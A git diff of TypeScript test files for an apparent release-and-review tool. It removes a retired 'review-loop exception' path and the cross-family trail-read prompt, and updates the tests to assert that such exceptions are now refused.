-import { bindShippedReceipt, receiptDepthAtHead, receiptDepthVerdict, reviewLoopExceptionLine } from '../lib/ship-receipt-depth';
+import { bindShippedReceipt, exceptionProblems, receiptDepthAtHead, receiptDepthVerdict } from '../lib/ship-receipt-depth';
import { bunIsolationArgs } from '../lib/bun-isolation';
+import { RELEASE_RESULT_CODES } from '../lib/result-codes-release';
import { runScriptSync } from '../lib/script-invocation';
import { BUMP_NEVER_KEY_VERSION, HISTORY_NO_REWRITE_KEY_VERSION, LAND_MERGE_COMMIT_PATHS_KEY_VERSION, POLICY_KEY_INTRODUCED, TRAIN_GATES_KEY_VERSION } from '../lib/ship-policy';
import { cmpVersion, parseVersion } from '../lib/version-source';
@@ -209,81 +210,33 @@ describe('carry and the review depth', () => {
}, 90_000);
});
-describe('the review-loop exception (#3559)', () => {
- // Value: protects=an accepted stop after a fix-check is a structured record the queue checks, not prose under REVIEW_LOOP;
- // fails_when=write accepts it without a fix-check, with a foreign head or without the body line, or the queue ignores a
- // body that dropped the line; seam=bindShippedReceipt
- test('write refuses an exception with no fix-check, a foreign head or no body line, records it otherwise, and the queue checks the line', () => {
+describe('the review-loop exception is gone (GST-3562 part 4)', () => {
+ // Value: protects=an open finding at the round cap reaches a receipt only as a Ruled note, never through the retired
+ // review_loop_exception; fails_when=write records an exception in either form; seam=gstack-ship-receipt write; no_claim=ruled notes
+ test('write refuses --review-loop-exception in both forms and writes no receipt', () => {
const repo = makeFixtureRepo(); repos.push(repo);
const head = commit(repo, { 'lib/util.js': lines(3) });
const body = path.join(repo.root, 'body.md');
- const exception = { accepted_by: 'Garry', date: '2026-10-28', via: 'GSTA-147 relay', reason: 'fix-check edit is a comment; scope frozen', fix_check: { head, findings: 1 } };
- const arg = (e: unknown) => ['--review-loop-exception', JSON.stringify(e)];
- const loop = (n: number) => ['--review-loop', JSON.stringify({ passes: 2, blocking_found: 1, deferred: 0, fix_checks: n })];
fs.writeFileSync(body, '## What changed\n');
- for (const [extra, why] of [
- [[...arg(exception)], 'needs --review-loop with fix_checks >= 1'],
- [[...arg(exception), ...loop(0)], 'needs --review-loop with fix_checks >= 1'],
- [[...arg({ ...exception, fix_check: { head: 'a'.repeat(40), findings: 1 } }), ...loop(1)], 'is not ' + head.slice(0, 12) + ' or an ancestor of it'],
- [[...arg({ ...exception, extra: 1 }), ...loop(1)], 'unknown key "extra"'],
- [[...arg(exception), ...loop(1)], 'does not carry the exception line verbatim'],
- ] as Array<[string[], string]>) {
- const out = writeReceipt(repo, body, extra);
- expect(out.status).toBe(EXIT.fail);
- expect(out.err).toContain('(REVIEW_LOOP_EXCEPTION_INVALID;');
- expect(out.err).toContain(why);
+ const base = { accepted_by: 'Garry', date: '2026-10-28', via: 'GSTA-147 relay', reason: 'ships as a note' };
+ for (const e of [{ ...base, fix_check: { head, findings: 1 } }, { ...base, second_pass: { head, deferred: ['specialist#3'] } }]) {
+ const out = writeReceipt(repo, body, ['--review-loop-exception', JSON.stringify(e), '--review-loop', JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, scope: 'frozen' })]);
+ expect([out.status, out.err.includes('(REVIEW_LOOP_EXCEPTION_INVALID'), out.err.includes('Ruled')]).toEqual([EXIT.usage, true, true]);
}
expect(extractReceipt(fs.readFileSync(body, 'utf8')).found).toBe(false);
- const line = reviewLoopExceptionLine(exception);
- expect(line).toBe(`Review-loop exception: accepted by Garry 2026-10-28 via GSTA-147 relay: fix-check edit is a comment; scope frozen (fix-check at ${head.slice(0, 12)}, 1 finding)`);
- fs.writeFileSync(body, `## What changed\n\n${line}\n`);
- expect(writeReceipt(repo, body, [...arg(exception), ...loop(1)]).status).toBe(EXIT.ok);
- expect(receiptIn(body).review_loop_exception).toEqual(exception);
- expect(bindShippedReceipt(repo.work, 'origin/main', fs.readFileSync(body, 'utf8'), '7', [head]).ok).toBe(true);
- const dropped = bindShippedReceipt(repo.work, 'origin/main', fs.readFileSync(body, 'utf8').replace(line, ''), '7', [head]);
- expect(!dropped.ok && dropped.code).toBe('QUEUE_RECEIPT_EXCEPTION_INVALID');
- expect(!dropped.ok && dropped.message).toContain('does not carry the review-loop exception line verbatim');
- const foreign = { ...exception, fix_check: { head: 'f'.repeat(40), findings: 1 } };
- const forged = rewrite(body, x => { x.review_loop_exception = foreign; }).replace(line, reviewLoopExceptionLine(foreign));
- const offBranch = bindShippedReceipt(repo.work, 'origin/main', forged, '7', [head]);
- expect(!offBranch.ok && offBranch.code).toBe('QUEUE_RECEIPT_EXCEPTION_INVALID');
- expect(!offBranch.ok && offBranch.message).toContain('is not the receipt head or an ancestor of it');
}, 90_000);
-});
-describe('the review-loop exception after the second full pass (TRUT-7, truther#1169)', () => {
- // Value: protects=an owner who accepts an open finding under the two-round cap has a receipt path when /ship stopped after the
- // second full pass (passes=2 blocking_found=1 deferred=1, no fix-check); fails_when=write refuses that stop, accepts one with
- // fewer than two passes, no deferred finding, no finding id, both stop kinds or no body line, or the queue ignores the line;
- // seam=gstack-ship-receipt write and bindShippedReceipt; no_claim=finish's routing
- test('write records it with the deferred finding named by id; a stop that is neither kind is still refused', () => {
- const repo = makeFixtureRepo(); repos.push(repo);
- const head = commit(repo, { 'lib/util.js': lines(3) });
- const body = path.join(repo.root, 'body.md');
- const exception = { accepted_by: 'TRUT-1', date: '2026-11-03', via: 'TRUT-7 relay', reason: 'the open finding ships as a note under the two-round cap', second_pass: { head, deferred: ['specialist#3'] } };
- const arg = (e: unknown) => ['--review-loop-exception', JSON.stringify(e)];
- const loop = (passes: number, deferred: number) => ['--review-loop', JSON.stringify({ passes, blocking_found: 1, deferred, noted: 2, fixed: 2, scope: 'frozen' })];
- fs.writeFileSync(body, '## What changed\n');
- for (const [extra, why] of [
- [[...arg(exception), ...loop(1, 1)], 'passes >= 2'],
- [[...arg(exception), ...loop(2, 0)], 'deferred >= 1'],
- [[...arg({ ...exception, second_pass: { head, deferred: [] } }), ...loop(2, 1)], 'second_pass.deferred must name'],
- [[...arg({ ...exception, fix_check: { head, findings: 1 } }), ...loop(2, 1)], 'exactly one of fix_check or second_pass'],
- [[...arg({ ...exception, second_pass: { head: 'a'.repeat(40), deferred: ['specialist#3'] } }), ...loop(2, 1)], 'is not ' + head.slice(0, 12) + ' or an ancestor of it'],
- [[...arg(exception), ...loop(2, 1)], 'does not carry the exception line verbatim'],
- ] as Array<[string[], string]>) {
- const out = writeReceipt(repo, body, extra);
- expect([why, out.status, out.err.includes('(REVIEW_LOOP_EXCEPTION_INVALID;'), out.err.includes(why)]).toEqual([why, EXIT.fail, true, true]);
- }
- const line = reviewLoopExceptionLine(exception as never);
- expect(line).toBe(`Review-loop exception: accepted by TRUT-1 2026-11-03 via TRUT-7 relay: the open finding ships as a note under the two-round cap (second full pass at ${head.slice(0, 12)}, deferred specialist#3)`);
- fs.writeFileSync(body, `## What changed\n\n${line}\n`);
- expect(writeReceipt(repo, body, [...arg(exception), ...loop(2, 1)]).status).toBe(EXIT.ok);
- expect(receiptIn(body).review_loop_exception).toEqual(exception);
- expect(bindShippedReceipt(repo.work, 'origin/main', fs.readFileSync(body, 'utf8'), '7', [head]).ok).toBe(true);
- const dropped = bindShippedReceipt(repo.work, 'origin/main', fs.readFileSync(body, 'utf8').replace(line, ''), '7', [head]);
- expect(!dropped.ok && dropped.code).toBe('QUEUE_RECEIPT_EXCEPTION_INVALID');
- }, 90_000);
+ // Value: protects=a receipt written before part 4 that still records an exception no longer passes carry or land, since
+ // nothing checks its disclosure line any more; fails_when=exceptionProblems passes a legacy exception; seam=exceptionProblems
+ test('a legacy receipt that records a review-loop exception does not stand at carry or land', () => {
+ const legacy = { review_loop_exception: { accepted_by: 'x', date: '2026-11-01', via: 'y', reason: 'z', second_pass: { head: 'a'.repeat(40), deferred: ['p1/x#1'] } } } as unknown as ShipReceipt;
+ expect(exceptionProblems('Review-loop exception: x', legacy)).toEqual(['the receipt records a review-loop exception, which GST-3562 part 4 removed']);
+ expect(exceptionProblems('', {} as ShipReceipt)).toEqual([]);
+ const code = RELEASE_RESULT_CODES.QUEUE_RECEIPT_EXCEPTION_INVALID;
+ expect(code.summary).toContain('review-loop exception');
+ expect(code.fix).toContain('review-loop exception');
+ expect(code.fix).toContain('run /gstack-ship again');
+ });
});
describe('the queue and a scoped second pass (GSTA-152 D6)', () => {
diff --git a/test/ship-receipt-prose.test.ts b/test/ship-receipt-prose.test.ts
index cd1727b5a..6bf84a515 100644
--- a/test/ship-receipt-prose.test.ts
+++ b/test/ship-receipt-prose.test.ts
@@ -157,30 +157,6 @@ describe('the rendered Approvals block is not prose', () => {
});
});
-describe('the Review-loop exception line (GST-977, gstack-evals #139)', () => {
- const excepted = {
- ...receipt,
- review_loop: { ...receipt.review_loop, fix_checks: 1 },
- gate: { status: 'green', run: '139', unit: { pass: 1181, skip: 70 } },
- review_loop_exception: { accepted_by: 'Garry', date: '2026-11-01', via: 'GEVA-2', reason: 'outside 1 and 2 skip detector', fix_check: { head: 'b'.repeat(40), findings: 0 } },
- };
- const line = 'Review-loop exception: accepted by Garry 2026-11-01 via GEVA-2: outside 1 and 2 skip detector (fix-check at bbbbbbbbbbbb, 0 findings)';
-
- // Value: protects=a body that carries the exception line write requires can also pass --check-prose; fails_when=the
- // owner's reason is read as counter claims ("2 skip" against 70); seam=lib/ship-receipt-prose.ts checkReceiptProse
- test('the exact line the receipt\'s exception requires is not prose; the rest of the body still is', () => {
- expect(checkReceiptProse(excepted, `${line}\n\nGate: 70 skip.\n`)).toEqual({ checked: 1, mismatches: [] });
- expect(checkReceiptProse(excepted, ` ${line}\r\nGate: 69 skip.`).mismatches).toEqual([{ field: 'gate.unit.skip', prose: 69, receipt: 70 }]);
- });
-
- test('the same words anywhere else, or a line for a different exception, stay prose', () => {
- const twoSkip = [{ field: 'gate.unit.skip', prose: 2, receipt: 70 }];
- expect(checkReceiptProse(excepted, `Note: ${line}`).mismatches).toEqual(twoSkip);
- expect(checkReceiptProse(excepted, line.replace('GEVA-2', 'GEVA-3')).mismatches).toEqual(twoSkip);
- expect(checkReceiptProse({ ...excepted, review_loop_exception: undefined }, line).mismatches).toEqual(twoSkip);
- });
-});
-
describe('the Documentation exception line (GST-983)', () => {
const excepted = {
...receipt,
diff --git a/test/ship-receipt-runs.test.ts b/test/ship-receipt-runs.test.ts
index 1128acbc5..3becc3201 100644
--- a/test/ship-receipt-runs.test.ts
+++ b/test/ship-receipt-runs.test.ts
@@ -25,8 +25,8 @@ describe('receipt runs block', () => {
expect(body.match(/## Summary/g)!.length).toBe(1);
});
- test('a fence inside a recorded reason never closes the runs block (adversarial p-voices #1)', () => {
- const withReason = (head: string) => orderReceipt({ ...receipt(head, { fix_checks: 1 }), review_loop_exception: { accepted_by: 'Garry', date: '2026-11-03', via: 'x', reason: 'the \x60\x60\x60retry\x60\x60\x60 block is fine', fix_check: { head, findings: 0 } } });
+ test('a fence inside a recorded field never closes the runs block (adversarial p-voices #1)', () => {
+ const withReason = (head: string) => orderReceipt({ ...receipt(head), run: 'run \x60\x60\x60retry\x60\x60\x60 1' });
let body = placeReceipt('## Summary\nprose\n', withReason('b'.repeat(40)));
body = placeReceipt(body, withReason('c'.repeat(40)));
body = placeReceipt(body, withReason('d'.repeat(40)));
@@ -49,18 +49,18 @@ describe('receipt runs block', () => {
describe('READY tail (E1: the ready output is the whole READY)', () => {
const depth = (cls: 'docs' | 'code' | 'gate', risk?: Array<'money' | 'auth' | 'secret' | 'security' | 'data'>) =>
({ depth: 'full' as const, class: cls, runtime_lines: 10, rules: 'r', base: 'b', registry: null, gate_scan: { tagged: 0, head: 'h' }, reasons: [], ...(risk ? { risk } : {}) });
- test('a risk-class receipt asks for the cross-family read; any other PR is self-audited', () => {
- expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('gate') })[3]).toStartWith('MISSING: cross-family trail read (risk class: gate; rule 27): ready did not look for one;');
- expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('gate') }, { trialMerges: ['TRIAL_MERGES: none share a file (3 open PRs checked)'], trailRead: { row: 7, reader: 'openai/gpt-6.2-sol' } }).slice(1, 4)).toEqual(['TRIAL_MERGES: none share a file (3 open PRs checked)', 'Attention:', 'reviewed by openai/gpt-6.2-sol (risk class: gate; rule 27 cross-family trail read, trail row 7)']);
- expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('code', ['money']) })[3]).toContain('risk class: money');
- expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('docs') })[3]).toBe('self-audited (not a risk class: no cross-family trail read)');
+ test('the Attention section opens with the receipt risk class; no cross-family trail read is asked for (GST-3562 part 4)', () => {
+ expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('gate') })[3]).toBe('risk class: gate');
+ expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('gate') }, { trialMerges: ['TRIAL_MERGES: none share a file (3 open PRs checked)'] }).slice(1, 4)).toEqual(['TRIAL_MERGES: none share a file (3 open PRs checked)', 'Attention:', 'risk class: gate']);
+ expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('code', ['money']) })[3]).toBe('risk class: money');
+ expect(readyTailLines({ ...receipt('f'.repeat(40)), review_depth: depth('docs') })[3]).toBe('not a risk class');
});
test('the review loop line carries fixed, unrecorded and unbound from the receipt', () => {
const lines = readyTailLines(receipt('f'.repeat(40), { passes: 2, blocking_found: 3, fixed: 2, unrecorded: 1, unbound: 1 }));
expect(lines[0]).toBe('REVIEW_LOOP: passes=2 blocking_found=3 deferred=0 noted=0 fixed=2 unrecorded=1 unbound=1');
expect(lines.slice(1, 3)).toEqual([expect.stringMatching(/^TRIAL_MERGES: /), 'Attention:']);
expect(readyTailLines(undefined)[0]).toBe('REVIEW_LOOP: none in the receipt');
- expect(readyTailLines(receipt('f'.repeat(40)))[3]).toStartWith('MISSING: cross-family trail read (risk class unknown: the receipt records no review_depth; rule 27)');
+ expect(readyTailLines(receipt('f'.repeat(40)))[3]).toBe('risk class unknown: the receipt records no review_depth');
});
});
diff --git a/test/ship-refusal-code-ratchet.test.ts b/test/ship-refusal-code-ratchet.test.ts
index 2c7a8aa23..679d71850 100644
--- a/test/ship-refusal-code-ratchet.test.ts
+++ b/test/ship-refusal-code-ratchet.test.ts
@@ -10,7 +10,7 @@ import * as path from 'node:path';
const ROOT = path.resolve(import.meta.dir, '..');
const LIST = path.join(ROOT, 'test', 'fixtures', 'ship-refusal-codes.json');
const BASELINE_MAX = 131;
-const SOURCES = /^(lib\/(ship-|review-|fix-check-clearing|pr-review-history|approval-record|ci-carry|tree-receipt|restamp)[^/]*\.ts|lib\/pregate\/.*\.ts|crew\/lib\/ship-[^/]*\.ts|bin\/gstack-(ship-[a-z-]+|review-[a-z-]+|pregate|approvals|ci-carry|tree-receipt|restamp))$/;
+const SOURCES = /^(lib\/(ship-|review-|review-trailer-clearing|pr-review-history|approval-record|ci-carry|tree-receipt|restamp)[^/]*\.ts|lib\/pregate\/.*\.ts|crew\/lib\/ship-[^/]*\.ts|bin\/gstack-(ship-[a-z-]+|review-[a-z-]+|pregate|approvals|ci-carry|tree-receipt|restamp))$/;
function walk(dir: string): string[] {
return fs.readdirSync(path.join(ROOT, dir), { withFileTypes: true }).flatMap(e => e.isDirectory() ? walk(path.join(dir, e.name)) : [path.join(dir, e.name)]);
diff --git a/test/ship-rereview-triggers.test.ts b/test/ship-rereview-triggers.test.ts
index 3fecb3344..4ead8f7bb 100644
--- a/test/ship-rereview-triggers.test.ts
+++ b/test/ship-rereview-triggers.test.ts
@@ -775,198 +775,6 @@ describe('a CHANGELOG re-heading after the docs audit (GST-906, GBRA-258, gbrain
});
});
-describe('finish with an owner-accepted edit after a fix-check (GST-965, GBRA-277, gbrain #8425)', () => {
- const exceptionFile = (f: ShipFx, head: string, extra: Record<string, unknown> = {}) => {
- const file = path.join(f.root, 'loop-exception.json');
- fs.writeFileSync(file, JSON.stringify({ accepted_by: 'GStack Minder (rule 23 grant)', date: '2026-11-02', via: 'GSTA-36', reason: 'the pre-agreed fallback after the fix-check blocker, then ship', fix_check: { head, findings: 1 }, ...extra }));
- return file;
- };
- const afterFixCheck = () => {
- const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'README.md': '# Fx, with the branch feature\n' });
- const fixHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = wtree(f);
- const post = snapshot(f);
- f.write({ 'src/x.ts': 'export const x = 3;\n', 'README.md': '# Fx, with the fallback\n' }); f.commit('owner fallback after the fix-check');
- return { f, fixHead, reviewed, post };
- };
-
- // Value: protects=an edit the owner accepted after a fix-check ships through Step 16 without another review round (R51 cap);
- // fails_when=finish routes the accepted src edit as behavior or stales the docs stage on the accepted doc, or accepts it
- // without the exception file; seam=finish's route and docsFresh; no_claim=the receipt and queue checks (exceptionProblems)
- test('paths changed since fix_check.head route as accepted and the docs stage carries them; without the file it still stops', () => {
- const { f, fixHead, reviewed, post } = afterFixCheck();
- const plain = finish(f, reviewed, post);
- expect([plain.status, plain.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts)')]).toEqual([3, true]);
- expect(lineOf(plain.stdout, 'ROUTE')).toMatch(/ behavior=1 docs=1 metadata=0 tests=0 base=unknown context=0$/);
- const r = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, fixHead)}`]);
- expect(lineOf(r.stdout, 'ROUTE')).toMatch(/ behavior=0 docs=0 metadata=0 tests=0 base=unknown context=0 accepted=2$/);
- expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).toBe(`REVIEW_LOOP_EXCEPTION: accepted README.md,src/x.ts (changed since fix-check ${fixHead.slice(0, 12)}; accepted by GStack Minder (rule 23 grant) 2026-11-02 via GSTA-36)`);
- expect(lineOf(r.stdout, 'DOCS')).toBe('DOCS: fresh against the Step 14.5 post-audit snapshot (carried: tests=0 base=0 requested=0 accepted=2)');
- expect([r.status, lineOf(r.stdout, 'EVIDENCE')]).toEqual([0, expect.stringMatching(/^EVIDENCE: FRESH label=tests /)]);
- });
-
- // Value: protects=the exception covers only the frozen scope and only a real fix-check; fails_when=a path the branch never
- // touched at the fix-check, or an exception naming a commit outside the branch or a malformed record, is accepted; seam=finish
- test('a path outside the frozen scope still routes as behavior; a fix-check head off the branch or a malformed record stops', () => {
- const { f, fixHead, reviewed, post } = afterFixCheck();
- f.write({ 'src/new.ts': 'export const n = 1;\n' }); f.commit('a new file after the fix-check');
- const outside = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, fixHead)}`]);
- expect(lineOf(outside.stdout, 'ROUTE')).toMatch(/ behavior=1 .* accepted=2$/);
- expect([outside.status, outside.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/new.ts)')]).toEqual([3, true]);
- const off = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, 'e'.repeat(40))}`]);
- expect([off.status, off.stdout]).toEqual([3, expect.stringContaining(`STOP: --review-loop-exception: fix_check.head eeeeeeeeeeee is not HEAD or an ancestor of it`)]);
- const bad = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, fixHead, { reason: '' })}`]);
- expect([bad.status, bad.stdout]).toEqual([3, expect.stringContaining('STOP: --review-loop-exception: review_loop_exception.reason must be a non-empty one-line string')]);
- const missing = finish(f, reviewed, post, ['--review-loop-exception', `@${path.join(f.root, 'no-such-record.json')}`]);
- expect([missing.status, missing.stdout]).toEqual([3, expect.stringContaining('STOP: --review-loop-exception: ')]);
- });
-
- // Value: protects=fix_check.files only narrows the frozen scope; fails_when=a listed path the branch never touched at the
- // fix-check routes as accepted, or a touched path the list leaves out is accepted anyway; seam=finish's route
- test('fix_check.files narrows the accepted scope and cannot add a path the branch had not touched at the fix-check', () => {
- const { f, fixHead, reviewed, post } = afterFixCheck();
- f.write({ 'src/new.ts': 'export const n = 1;\n' }); f.commit('a new file after the fix-check');
- const r = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, fixHead, { fix_check: { head: fixHead, findings: 1, files: ['src/x.ts', 'src/new.ts'] } })}`]);
- expect(lineOf(r.stdout, 'ROUTE')).toMatch(/ behavior=1 docs=1 metadata=0 tests=0 base=unknown context=0 accepted=1$/);
- expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).toStartWith('REVIEW_LOOP_EXCEPTION: accepted src/x.ts (');
- expect([r.status, r.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/new.ts)')]).toEqual([3, true]);
- const none = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, fixHead, { fix_check: { head: fixHead, findings: 1, files: [] } })}`]);
- expect([none.status, none.stdout]).toEqual([3, expect.stringContaining('STOP: --review-loop-exception: fix_check.files lists no paths')]);
- });
-
- // Value: protects=a test weakened after the fix-check is never owner-accepted, with or without --reviewed-base;
- // fails_when=finish accepts a gate-edited test (a .skip, a removed assertion) because no base sides were given; seam=finish's route
- test('a gate-edited test after the fix-check still routes as behavior under the exception', () => {
- const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n" });
- const fixHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = wtree(f);
- const reviewedBase = mergeBase(f);
- const post = snapshot(f);
- f.write({ 'test/x.test.ts': "import { test } from 'bun:test';\ntest.skip('a', () => {});\n" }); f.commit('weaken the test after the fix-check');
- for (const extra of [[], ['--reviewed-base', reviewedBase]]) {
- const r = finish(f, reviewed, post, ['--review-loop-exception', `@${exceptionFile(f, fixHead)}`, ...extra]);
- expect([r.status, lineOf(r.stdout, 'ROUTE'), r.stdout.includes('STOP: behavior, tests or build inputs changed since review (test/x.test.ts)')]).toEqual([3, expect.stringMatching(/ behavior=1 .* accepted=0$/), true]);
- }
- });
-});
-
-
-// Value: protects=a granted fix-check's clean read clears the paths it reviewed at Step 16, a gate-edited test included, so
-// finish does not send them back through Steps 5–11.5 (GEVA-218, gstack-evals#168); fails_when=finish routes a path inside
-// the fix-check's range as behavior, counts a path edited after the fix-check, or counts a row that is not a completed clean
-// fix-check with a range base; seam=finish's route reading the review log; no_claim=Step 11.5's binding
-describe('finish after a completed fix-check (GST-1130, GEVA-218)', () => {
- const TEST_V1 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n";
- const TEST_V2 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); }, 1_000);\ntest('b finishes fast', () => { expect(1 + 1).toBe(2); }, 1_000);\n";
- const logFixCheck = (f: ShipFx, row: Record<string, unknown>) => {
- const start = f.run(path.join(BIN, 'gstack-review-log'), ['--start', 'review-fix-check']);
- expect(start.status).toBe(0);
- return f.run(path.join(BIN, 'gstack-review-log'), [JSON.stringify({ skill: 'review-fix-check', timestamp: '2026-11-02T00:00:00Z', via: 'ship', review_scope: 'frozen', status: 'clean', issues_found: 0, critical: 0, ...row }), '--finish', start.stdout.trim()]);
- };
- const grant = (f: ShipFx, stopHead: string) => {
- const a = f.run(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${stopHead.slice(0, 12)})`, '--words', 'one scoped fix-check after round 2', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { GSTACK_APPROVALS_MIRROR: '0' });
- expect(a.status).toBe(0);
- return JSON.parse(a.stdout).added[0] as string;
- };
- const afterFixCheck = () => {
- const f = fx({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
- const passHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = wtree(f);
- f.write({ 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }); f.commit('fix the round-2 blocker and bound its case');
- return { f, passHead, fixHead: f.git('rev-parse', 'HEAD').stdout.trim(), reviewed, post: snapshot(f) };
- };
-
- test('paths inside a completed clean fix-check range count as reviewed, a gate-edited test included; a later edit still stops', () => {
- const { f, passHead, fixHead, reviewed, post } = afterFixCheck();
- const plain = finish(f, reviewed, post);
- expect([plain.status, plain.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts,test/x.test.ts)')]).toEqual([3, true]);
- const id = grant(f, passHead);
- expect(logFixCheck(f, { completed: true, converged: true, range_base: passHead }).status).toBe(0);
- const r = finish(f, reviewed, post);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}, grant ${id})`);
- expect(lineOf(r.stdout, 'ROUTE')).toMatch(/ behavior=0 docs=0 metadata=0 tests=0 base=unknown context=0 fix_checked=2$/);
- expect([r.status, lineOf(r.stdout, 'EVIDENCE')]).toEqual([0, expect.stringMatching(/^EVIDENCE: FRESH label=tests /)]);
- f.write({ 'src/x.ts': 'export const x = 4;\n' }); f.commit('an edit after the fix-check');
- const late = finish(f, reviewed, post);
- expect(lineOf(late.stdout, 'FIX_CHECK')).toStartWith('FIX_CHECK: reviewed test/x.test.ts (');
- expect([late.status, late.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts)')]).toEqual([3, true]);
- });
-
- test('a clean fix-check row with no recorded review_loop_grant for a stop head in its range is not counted', () => {
- const { f, passHead, reviewed, post } = afterFixCheck();
- expect(logFixCheck(f, { completed: true, converged: true, range_base: passHead }).status).toBe(0);
- const ungranted = finish(f, reviewed, post);
- expect(lineOf(ungranted.stdout, 'FIX_CHECK')).toBe('FIX_CHECK: not counted (no approved review_loop_grant names a stop head inside its range_base..commit)');
- expect([ungranted.status, ungranted.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts,test/x.test.ts)')]).toEqual([3, true]);
- grant(f, mergeBase(f));
- const elsewhere = finish(f, reviewed, post);
- expect([elsewhere.status, lineOf(elsewhere.stdout, 'FIX_CHECK')]).toEqual([3, 'FIX_CHECK: not counted (no approved review_loop_grant names a stop head inside its range_base..commit)']);
- });
-
- test('a fix-check row that did not finish clean, or names no range base, is not counted', () => {
- const { f, passHead, reviewed, post } = afterFixCheck();
- expect(logFixCheck(f, { completed: false, converged: false, range_base: passHead }).status).toBe(0);
- const incomplete = finish(f, reviewed, post);
- expect(lineOf(incomplete.stdout, 'FIX_CHECK')).toBe('FIX_CHECK: not counted (missing start capture or incomplete/nonconverged pass)');
- expect([incomplete.status, incomplete.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts,test/x.test.ts)')]).toEqual([3, true]);
- expect(logFixCheck(f, { completed: true, converged: true }).status).toBe(0);
- const unranged = finish(f, reviewed, post);
- expect(lineOf(unranged.stdout, 'FIX_CHECK')).toBe('FIX_CHECK: not counted (the row names no range_base commit on this branch)');
- expect(unranged.status).toBe(3);
- const fork = mergeBase(f);
- expect(logFixCheck(f, { completed: true, converged: true, range_base: fork }).status).toBe(0);
- const early = finish(f, reviewed, post);
- expect(lineOf(early.stdout, 'FIX_CHECK')).toBe(`FIX_CHECK: not counted (range_base ${fork.slice(0, 12)} does not hold the reviewed tree)`);
- expect(early.status).toBe(3);
- });
-
- // Value: protects=a base merge after the granted fix-check that also edits a fix-checked file keeps that file's credit when its
- // patch against the base is the one the fix-check read (#3916 open note, merge 131a856); fails_when=finish compares the
- // fix-check commit's tree with the current tree path by path and prints FIX_CHECK: reviewed none, or credits a branch edit
- // made after the merge; seam=finish's route reading the review log; no_claim=a conflict resolution's meaning
- test('a base merge that also edits a fix-checked file keeps the credit while the branch patch is unchanged', () => {
- const f = fx({ 'src/x.ts': lines(9) }, { 'src/x.ts': lines(9, { 5: 'export const l5 = 50;' }), 'test/x.test.ts': TEST_V1 });
- const passHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = wtree(f);
- const reviewedBase = mergeBase(f);
- f.write({ 'src/x.ts': lines(9, { 5: 'export const l5 = 51;' }), 'test/x.test.ts': TEST_V2 }); f.commit('fix the round-2 blocker and bound its case');
- const fixHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const post = snapshot(f);
- const id = grant(f, passHead);
- expect(logFixCheck(f, { completed: true, converged: true, range_base: passHead }).status).toBe(0);
- f.advanceBase({ 'src/x.ts': lines(9, { 1: 'export const l1 = 100;' }), 'src/y.ts': 'export const y = 1;\n' });
- mergeMain(f);
- expect(f.git('show', 'HEAD:src/x.ts').stdout).toBe(lines(9, { 1: 'export const l1 = 100;', 5: 'export const l5 = 51;' }));
- const r = finish(f, reviewed, post, ['--reviewed-base', reviewedBase]);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}, grant ${id})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE'), lineOf(r.stdout, 'DOCS')]).toEqual([0, expect.stringMatching(/ behavior=0 docs=0 metadata=0 tests=0 base=1 context=0 fix_checked=2$/), expect.stringMatching(/^DOCS: fresh .*carried: tests=0 base=1 /)]);
- f.write({ 'src/x.ts': lines(9, { 1: 'export const l1 = 100;', 5: 'export const l5 = 52;' }) }); f.commit('an edit after the merge');
- const late = finish(f, reviewed, post, ['--reviewed-base', reviewedBase]);
- expect(lineOf(late.stdout, 'FIX_CHECK')).toStartWith('FIX_CHECK: reviewed test/x.test.ts (');
- expect([late.status, late.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts)')]).toEqual([3, true]);
- });
-
